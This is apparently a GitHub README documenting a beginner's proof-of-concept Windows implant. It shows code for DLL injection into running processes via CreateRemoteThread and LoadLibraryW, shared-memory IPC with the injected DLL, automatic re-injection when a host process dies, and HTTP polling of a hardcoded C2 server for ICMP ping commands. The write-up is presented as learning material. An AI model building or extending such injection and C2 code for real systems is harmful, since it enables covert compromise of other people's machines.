Skip to content

Latest commit

 

History

4 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

The Project

In this project, I've developed a simple IPC (Inter-Process-Communication) / Process Injection Proof-of-Concept and documented my thought process while creating this beginner framework to better share my ideas with the Community.

Disclaimer

Firstly, this mini-project is completely for educational purposes and to push my own limits as a beginner. I am not liable for any malicious uses or intentions relating to this project.

Secondly, this mini-project is completely amateur and sloppy at some parts (Evasion, Persistence, Advanced Techniques, Encryption) because that I'm still a beginner and this was a passion project to test my ideas and experience in the field. The project won't ever get any of these quirks because that was what I'm aiming for here. I wanted to lay out my idea, not create an advanced framework.

Please proceed with caution and with utmost respect.


Architecture and Idea Overview

To begin, I've had to pick out a name for this "model" of mine which I will refer to as a basic implant skeleton throughout this documentation, shortly as BIS.

Very briefly, what BIS does is: When ran, find a suitable process for your task, perform a basic DLL injection with the DLL containing the very simple task, make sure the target is stable for the first 7 heartbeats (Think of this heartbeat as BIS nudging the worker process to make sure it hasn't crashed etc.), Worker Process will expect a command and target from the BIS (Main Process) — BIS will fetch the command from a web C2 — and perform the command and give status information back to the BIS. Keep in mind that BIS works as a state machine, all of these steps are briefly a CASE for BIS. Every CASE has a failure possibility and failure is very much expected in my model, thats why it has "Self-Healing factors" just in case.

Let's dive deep into the architecture and my idea behind BIS and why it may be useful and how it differs from other agents.


Techniques

BIS contains several useful and common techniques that I've learned as a beginner. In this section I'll go over each one of them.


Inter-Process Communication

The project originates from the idea and imitation of Inter-Process-Communication. BIS divides the work it is doing by partitioning the tasks between the selected process and itself. The selected process is not random — it must have IPHLPAPI.dll loaded. We will call the process selected by BIS a WORKER.

A process in the system will be selected as a WORKER under these conditions:

  • Must not be in the lastid[] list. This list contributes highly to self-healing. If a WORKER somehow dies (crash, shutdown etc.), BIS will log the WORKER process id to the lastid list so it won't ever be selected again.
  • Must have IPHLPAPI.dll loaded. With this condition I aim for less sound overall. WORKER's main job is to send ICMP echo requests to a given IP, and the process already having the needed DLL removes the need for an additional injection just to load it.

The process discovery is handled by GetRemoteProcessHandleByModule — it takes a system-wide snapshot via CreateToolhelp32Snapshot, walks every running process, and checks their module lists:

if (Module32First(hModule, &mod) && check(proc.th32ProcessID, db) == TRUE && proc.th32ProcessID != 0) {
    do {
        if (_wcsicmp(mod.szModule, moduleName) == 0) {
            procId = proc.th32ProcessID;
            ProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
            ok = TRUE;
            break;
        }
    } while (Module32Next(hModule, &mod));
}

The check() call before accepting any candidate is what makes the self-healing work. It walks lastid[] and rejects anything we've already seen fail:

BOOL check(IN int id, IN PDB db) {
    for (int i = 0; i < db->currentarrsize; i++) {
        if (id == db->lastid[i]) {
            return FALSE;
        }
    }
    return TRUE;
}

Simple, but it does the job.


The Mapping Channel

Once a WORKER is found, BIS needs a way to communicate with it. Instead of calling WriteProcessMemory every time it wants to pass data — which is a pretty loud and heavy-handed approach — I've simulated real IPC using Mapped Shared Memory.

BIS creates a section object with CreateFileMappingW, passing INVALID_HANDLE_VALUE as the file handle. This means the mapping is not backed by any file on disk — its a pure in-memory section object created in the kernel, living as long as any process has a handle to it. Then it maps this section both locally and remotely:

HANDLE hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE,
                                   0, (DWORD)payloadSize, L"SharedMem");

PBALL LocalPtr  = (PBALL)MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, payloadSize);

PBALL MapPtr    = (PBALL)MapViewOfFile2(hFile, hProc, NULL, NULL, NULL, NULL, PAGE_READWRITE);

Think of it like a portal between two processes. LocalPtr and MapPtr are different virtual addresses sitting in different process address spaces, but they both point to the exact same physical memory pages underneath. When BIS writes to LocalPtr, the WORKER can immediately read the updated value from its own mapped address — no WriteProcessMemory, no cross-process write calls at runtime, nothing. The kernel handles the sync at the hardware level.

From the WORKER side (inside the injected DLL), connecting to the channel is straightforward:

HANDLE hMapFile = OpenFileMappingW(FILE_MAP_ALL_ACCESS, FALSE, L"SharedMem");
PBALL pBall = (PBALL)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(BALL));

That's it. Both processes are now looking at the same memory.

Why this over WriteProcessMemory? Functionally you could achieve the same result by calling WriteProcessMemory on every update. But with the mapped approach, once the section is established the only overhead per data exchange is the memory write itself — no system calls, no handle manipulation, no cross-process bookkeeping. From an architectural standpoint its also cleaner: the communication channel and the storage are the same thing. The section object is the contract between the two processes.

The trade-off is real though. The section name "SharedMem" is trivially findable — any tool looking at named kernel objects will spot it. And more critically, the mapping is a single point of failure. If that section handle disappears (process crash, forced unmap), both sides lose their channel simultaneously and BIS has to restart from CASE 0. Thats an accepted limitation for the simplicity of this model.


The BALL Struct

The BALL is the central nervous system of BIS. Every piece of information flowing between the two processes — commands, status reports, health signals, ownership — lives in this struct:

typedef struct _BALL {
    volatile DWORD leaderid;       // Who currently "holds" the ball: 1 = BIS, 2 = WORKER
    volatile DWORD workerthreadid; // WORKER's heartbeat thread ID (set by WORKER on attach)
    volatile DWORD atkthreadid;    // Attack thread ID (set by WORKER after stabilization)
    volatile INT   status;         // Last attack result: 1 = success, -1 = fail, 0 = idle
    volatile ULONG IpAddr;         // Target IP for the current command
    volatile DWORD dwTimeout;      // ICMP echo timeout value
    volatile INT   atkNo;          // Current command ID (fetched from C2 by BIS)
    volatile BOOL  alive;          // Heartbeat flag — WORKER flips this TRUE every cycle
    volatile BOOL  reset;          // Reserved for future reset logic
    volatile BOOL  stabile;        // Flips TRUE after WORKER's first 7 successful heartbeats
} BALL, * PBALL;

The name comes from the mental model behind the design — two processes passing a ball between them. When BIS "has the ball" (leaderid = 1), it writes the next instruction. When the WORKER "has the ball" (leaderid = 2), it acts and reports back. Whoever holds it at a given moment is responsible for the next move.

Every field is marked volatile. This is important, not just for correctness but for sanity. Since two separate processes are reading and writing the same physical pages, the compiler cannot be allowed to cache these values in registers. Without volatile, an optimizing compiler could read alive once at the start of a loop, assume it never changes, and optimize away every subsequent read entirely — silently breaking the entire heartbeat mechanism. volatile forces every single access back to actual memory.

Let me walk through the most notable fields:

leaderid — Acts as a crude ownership flag. 1 means BIS is in control, 2 means WORKER is active and expected to respond. Its not a mutex, its not a semaphore — its a single integer that both sides check before acting. For this model it works, but in anything beyond a PoC you'd want proper atomic operations here, since two threads reading and writing to this without synchronization is technically a race condition.

alive — The heartbeat flag. BIS resets this to FALSE each monitoring cycle. WORKER sets it back to TRUE to say "I'm still here." If BIS finds it still FALSE after its timeout window, that's the first red flag that something is wrong with the WORKER.

stabile — Probably my favorite field in the struct. It doesn't flip to TRUE until the WORKER has responded to at least 7 consecutive heartbeats without interruption. This is the difference between "DLL loaded" and "DLL is reliably running." Injection can succeed and the thread can still die on startup. stabile is BIS's way of confirming the WORKER is actually trustworthy before handing it real work.

atkNo — The command identifier. BIS writes this from the C2 fetch result. WORKER's AttackThread reads it in a switch statement and acts accordingly. Changing atkNo is how BIS dispatches new commands.

status — The result feedback going the other direction. AttackThread sets this after completing or failing a command. 1 for success, -1 for failure, 0 for idle. BIS can read this from its side to know what happened.


The State Machine

BIS is driven entirely by a CASE variable inside the DB struct. The main wrapper() function loops forever and dispatches to the right handler:

while (TRUE) {
    switch (database->CASE) {
    case 0: startingcase(ball, database);              break;
    case 1: firstcase(localmapped, database);          break;
    case 2: secondcase(localmapped, database);         break;
    case 3: thirdcase(localmapped, database);          break;
    case 4: fourthcase(localmapped, database, container); break;
    }
}

Every state is designed to be recoverable. Any failure at any point sets CASE = 0 and the whole lifecycle restarts. Thats the core idea behind the state machine here — nothing is a permanent dead end as long as BIS itself is running.


CASE 0 — Migration & Injection

The starting state, and also the recovery state. Every time something breaks anywhere in the lifecycle, we end up back here.

BIS calls GetRemoteProcessHandleByModule to find a WORKER, filtering out anything in lastid[]. Once it has a target, CreateRemoteMapping sets up the shared BALL and maps it to both processes. Then the WORKER DLL is injected via classic LoadLibraryW through CreateRemoteThread:

PVOID remotedllname = VirtualAllocEx(proc, NULL, (lstrlenW(dllname) + 1) * sizeof(WCHAR),
                                      MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(proc, remotedllname, dllname, ((lstrlenW(dllname) + 1) * sizeof(WCHAR)), &bytes);

LPTHREAD_START_ROUTINE pLoadLibraryW = (LPTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");

CreateRemoteThread(proc, NULL, 0, pLoadLibraryW, remotedllname, 0, &db->remotethreadid);

Standard LoadLibraryW injection — nothing exotic here. The DLL path is hardcoded which is obviously a development placeholder. Once injection is complete, leaderid is set to 1 in the BALL and we move to CASE 1.


CASE 1 — C2 Data Check

A short initialization step. BIS checks whether the BALL already has valid command data. If the BALL is zeroed (first run, or fresh restart from a failure), it populates defaults:

ball->IpAddr    = 0x8080808;  // 8.8.8.8 in little-endian
ball->dwTimeout = 2000;
ball->atkNo     = 0;
ball->leaderid  = 1;

Then moves straight to CASE 2. Not much happening here, but having this as a separate state gives a clean, well-defined place to plug in actual C2-driven initialization later rather than stuffing it into CASE 0.


CASE 2 — Passing the Ball

BIS hands control to the WORKER by setting leaderid = 2:

ball->IpAddr    = 0x8080808;
ball->dwTimeout = 1000;
ball->leaderid  = 2;
database->CASE  = 3;

This is the "pass" moment. From here on the WORKER's heartbeat loop can start responding. BIS is essentially saying "you have the ball now, start running." The WORKER, which has been idly polling the BALL since it loaded, now begins its heartbeat cycle.


CASE 3 — Heartbeat & Stabilization

This is where BIS monitors the WORKER and waits for it to prove itself stable before trusting it with actual work. The loop checks ball->alive each cycle and immediately resets it:

if (ball->alive == TRUE && ball->leaderid == 2) {
    ball->alive = FALSE;   // reset for next cycle
    if (ball->stabile == TRUE) {
        database->CASE = 4;
        break;
    }
}

From the WORKER's side (inside the DLL), the responding logic:

if (pBall->leaderid == 2 && pBall->alive == FALSE) {
    pBall->alive = TRUE;
    counter++;
    if (counter >= 7) {
        pBall->stabile = TRUE;
        secs = 10000;   // relax polling interval after stabilization
    }
}

BIS resets alive to FALSE. WORKER sets it back to TRUE. This handshake repeats until the WORKER has done it 7 times, at which point it sets stabile = TRUE and slows its own polling from 3 seconds to 10. CASE 3 catches stabile on the next check and transitions to CASE 4.

If the WORKER stops responding before stabilizing, CASE 3 enters a secondary verification loop — it waits extra time and retries up to 5 more times before giving up:

else if (ball->alive == FALSE && counter > 4) {
    CloseHandle(database->remoteProcess);
    database->currentarrsize += 1;
    database->lastid[database->currentarrsize - 1] = database->remoteprocessid;
    database->CASE = 0;
    break;
}

Dead PID into lastid[], drop to CASE 0, find a new WORKER.


CASE 4 — Active Operation

The fully operational state. The first thing BIS does here is spawn a background watchdog:

HANDLE hThread = CreateThread(NULL, 0, silentcheck, contain, 0, &threadid);

silentcheck runs the same dead-detection logic as CASE 3 but as a background thread, so the main CASE 4 loop can stay focused on C2 polling and command dispatch without having to manage health checks itself:

while (TRUE) {
    Sleep(10000);
    command(ball);  // fetch from C2, write atkNo + IpAddr to BALL
    if (ball->atkNo != current) {
        current = ball->atkNo;
        // WORKER picks this up through the shared BALL automatically
    }
    if (database->CASE != 4 && ball->stabile == FALSE) {
        break;  // silentcheck detected a failure
    }
}

The command() function does a plain HTTP GET to a text file on the C2:

HINTERNET hUrl = InternetOpenUrlW(hInternet, L"http://172.2.1.190/cmd.txt",
                                   NULL, 0, INTERNET_FLAG_RELOAD, 0);
...
sscanf_s(buffer, "%d:%15s", &atkNo, ipStr, (unsigned)sizeof(ipStr));
localmapped->atkNo  = atkNo;
localmapped->IpAddr = inet_addr(ipStr);

Format is "atkNo:ip" — completely plaintext, no frills. The moment BIS writes the new atkNo to the BALL, the WORKER's AttackThread picks it up on its next iteration without BIS needing to do anything else. Thats the IPC mechanism doing exactly what its supposed to do.


Threading Architecture

When the DLL loads into the WORKER process, it immediately spawns a thread from DllMain:

case DLL_PROCESS_ATTACH:
    CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
    break;

WorkerThread handles the heartbeat cycle and monitors the BALL for the stabile trigger. Once stabilization is reached, it spawns a second thread exactly once:

if (runtime == FALSE && pBall->stabile == TRUE) {
    runtime = TRUE;
    CreateThread(NULL, 0, AttackThread, pBall, 0, &pBall->atkthreadid);
}

The runtime flag prevents AttackThread from being spawned more than once no matter how many heartbeat cycles pass after stabilization.

AttackThread is where the actual work happens. It polls atkNo from the BALL and switches between commands:

switch (pBall->atkNo) {
case 0:
    pBall->status = 0;
    Sleep(10000);
    break;
case 1:
    RtlZeroMemory(replyBuffer, sizeof(replyBuffer));
    result = IcmpSendEcho(hFile, pBall->IpAddr, NULL, 0, NULL,
                          replyBuffer, sizeof(replyBuffer), pBall->dwTimeout);
    pBall->status = (result > 0) ? 1 : -1;
    Sleep(1000);
    break;
}

The ICMP functions are resolved dynamically via GetProcAddress on the already-loaded Iphlpapi.dll:

pIcmpCreateFile IcmpCreateFile = (pIcmpCreateFile)
    GetProcAddress(GetModuleHandleW(L"Iphlpapi.dll"), "IcmpCreateFile");
pIcmpSendEcho IcmpSendEcho = (pIcmpSendEcho)
    GetProcAddress(GetModuleHandleW(L"Iphlpapi.dll"), "IcmpSendEcho");

This is exactly why the WORKER selection required IPHLPAPI.dll to already be present in the target process. No extra injection step needed, the functions are already mapped and ready.

Both thread IDs (workerthreadid, atkthreadid) are written back into the BALL so BIS can observe them passively. Its a lightweight way to verify the right threads exist without making any additional handle lookups.


Stabilization Flow

┌───────────────────────────────────────────────────────────────────┐
│                  BIS LIFECYCLE — INJECTION TO CASE 4              │
│                                                                   │
│   BIS (Process B)                    WORKER (Injected DLL)        │
│   ────────────────────               ──────────────────────────   │
│                                                                   │
│   CASE 0                                                          │
│   ├─ CreateFileMappingW ──────────────► [Section Object]          │
│   ├─ MapViewOfFile  ◄────────────────► MapViewOfFile2             │
│   │  (LocalPtr)                         (MapPtr)                  │
│   └─ CreateRemoteThread ──────────────► DllMain                   │
│                                          └── WorkerThread starts  │
│                                               polls BALL @ 3s     │
│   CASE 2: leaderid = 2                                            │
│                                                                   │
│   CASE 3  Heartbeat Loop:                                         │
│   ┌─────────────────────────────────────────────────────────┐     │
│   │  [BIS] alive=FALSE  ─────────────► [WORKER] alive=TRUE  │     │
│   │  [BIS] alive=FALSE  ─────────────► [WORKER] alive=TRUE  │     │
│   │                  ... x7 ...                             │     │
│   │                            counter >= 7 → stabile=TRUE  │     │
│   └─────────────────────────────────────────────────────────┘     │
│                                                                   │
│   stabile detected! ──────────────────────────────────────────    │
│   CASE 4                         AttackThread spawns (once)       │
│   ├─ silentcheck thread                    │                      │
│   └─ C2 poll loop                          │ polls atkNo @ 1s     │
│       └─ write atkNo ──────────────────────► IcmpSendEcho()       │
│       ◄─── read status ──────────────────── write status          │
│                                                                   │
│   [If WORKER dies at any point]                                   │
│   silentcheck: PID → lastid[], CASE = 0                           │
│   ↑                                                               │
│   └─────────────────── CASE 0 again, new WORKER found             │
│                                                                   │
└───────────────────────────────────────────────────────────────────┘

Self-Healing

This is the part of BIS I'm most happy with conceptually. The whole point is that BIS should be able to recover from a dead WORKER without any manual intervention — find a new candidate process, inject into it, re-establish the communication channel, and continue from a clean state. All automatically.

The mechanism is built around the lastid[] array inside DB:

int   lastid[64];
DWORD currentarrsize;

Every time a WORKER fails, two things happen immediately:

  1. Its PID gets logged into lastid[]
  2. CASE drops back to 0
database->currentarrsize += 1;
database->lastid[database->currentarrsize - 1] = database->remoteprocessid;
database->CASE = 0;

On the next CASE 0 run, check() filters out every PID in that list before accepting a candidate. BIS will never inject into the same broken process again — it finds the next available one and restarts the whole lifecycle fresh. New mapping, new injection, new BALL.

Dead-detection happens in two separate places:

During CASE 3 (stabilization monitoring): If the WORKER stops sending heartbeats before it ever stabilizes, BIS gives it 5 retries with multi-second intervals before declaring it dead and blacklisting it.

During CASE 4 via silentcheck (active operation): The same logic runs as a background thread. If the WORKER dies mid-operation, the watchdog catches it and triggers the CASE 0 fallback without stalling the main command loop:

else if (ball->alive == FALSE && counter > 4) {
    printf("[ HATA ] Worker tepkisiz! Process ID kaydedildi (%d), CASE 0'a düşülüyor.\n",
           database->remoteprocessid);
    CloseHandle(database->remoteProcess);
    database->currentarrsize += 1;
    database->lastid[database->currentarrsize - 1] = database->remoteprocessid;
    ball->stabile = FALSE;
    database->CASE = 0;
    break;
}

The self-healing has some real weaknesses though. The lastid[] array is purely in-memory — if BIS itself crashes and restarts, the blacklist is gone and it could re-inject into a broken process. The capacity is hardcoded at 64 entries with no invalidation logic — processes that crash and restart with a new PID never get cleaned up. These are worth fixing in a more serious implementation, but for this model they're acceptable trade-offs.


Advantages and Disadvantages

I want to be honest about where BIS succeeds and where it falls short, especially from an engineering standpoint.

Advantages:

  • IPC via shared memory — Once the section is mapped, data exchange between BIS and WORKER has zero per-update overhead. No system calls, no cross-process write calls, no handle juggling each time. The mapping is both the transport and the storage.
  • State machine recoverability — Every failure path leads back to CASE 0. Nothing is a permanent dead end as long as BIS is running and there are suitable processes in the system.
  • Heartbeat-based stability verification — Rather than blindly trusting that the injected DLL is working just because CreateRemoteThread returned successfully, BIS actually confirms it through 7 consecutive handshakes. This catches silent startup failures.
  • Low-noise WORKER selection — Targeting processes that already have IPHLPAPI.dll loaded means the WORKER needs no additional module injection for its job. One less step, one less noise source.
  • Modular command dispatch — New commands are just new case entries in AttackThread's switch. The IPC channel and delivery mechanism don't change at all.

Disadvantages:

  • Named mapping — "SharedMem" is trivially detectable. Any security tool looking at named kernel objects will find it in seconds. A real implementation would avoid named sections entirely or use something far less obvious.

  • Hardcoded DLL path — C:\\Users\\labuser\\workerdll.dll is a development placeholder. Not useful beyond a lab machine.

  • Classic DLL injection — CreateRemoteThread + LoadLibraryW is one of the most documented, most hooked injection patterns there is. CASE 0's injection step is the first place any modern EDR would intercept.

  • Plaintext HTTP C2 — No encryption, no obfuscation, no domain fronting. Easy to spot in any traffic analysis.

  • No atomic synchronization — leaderid and alive are read and written by multiple threads without locks or atomics. In this specific model the access patterns happen to be safe enough in practice, but its technically a race condition.

  • No Mutex - My Bad, It will be added on the other update.

  • lastid[] not persistent — Blacklist is in-memory only, lost on BIS restart. 64-entry cap, no invalidation.

These are all known trade-offs made in the name of simplicity. This is a PoC, not a product.


Summary

BIS is a two-process implant skeleton built on shared mapped memory for IPC, a state machine for lifecycle management, and a heartbeat protocol for stability verification before trusting the WORKER with real work. The WORKER is an injected DLL that operates independently inside a host process, signals health back through the shared BALL struct, and executes commands dispatched by BIS from a C2. BIS monitors the WORKER's health passively, blacklists dead processes, and automatically finds and injects into new WORKERs when needed.

Is it advanced? No. Is it detectable in a real environment? Yes, almost immediately. But that was never the point. The goal was to think through a multi-process implant architecture from first principles — how do you divide work between processes, how do you communicate between them cheaply, how do you verify reliability rather than just assuming it, and how do you recover from failure automatically. BIS answers all of those questions in the simplest possible way.

The ideas here are what matters. Not the implementation quality.

Case Diagram

bis_lifecycle_diagram

Releases

Packages

Contributors

Languages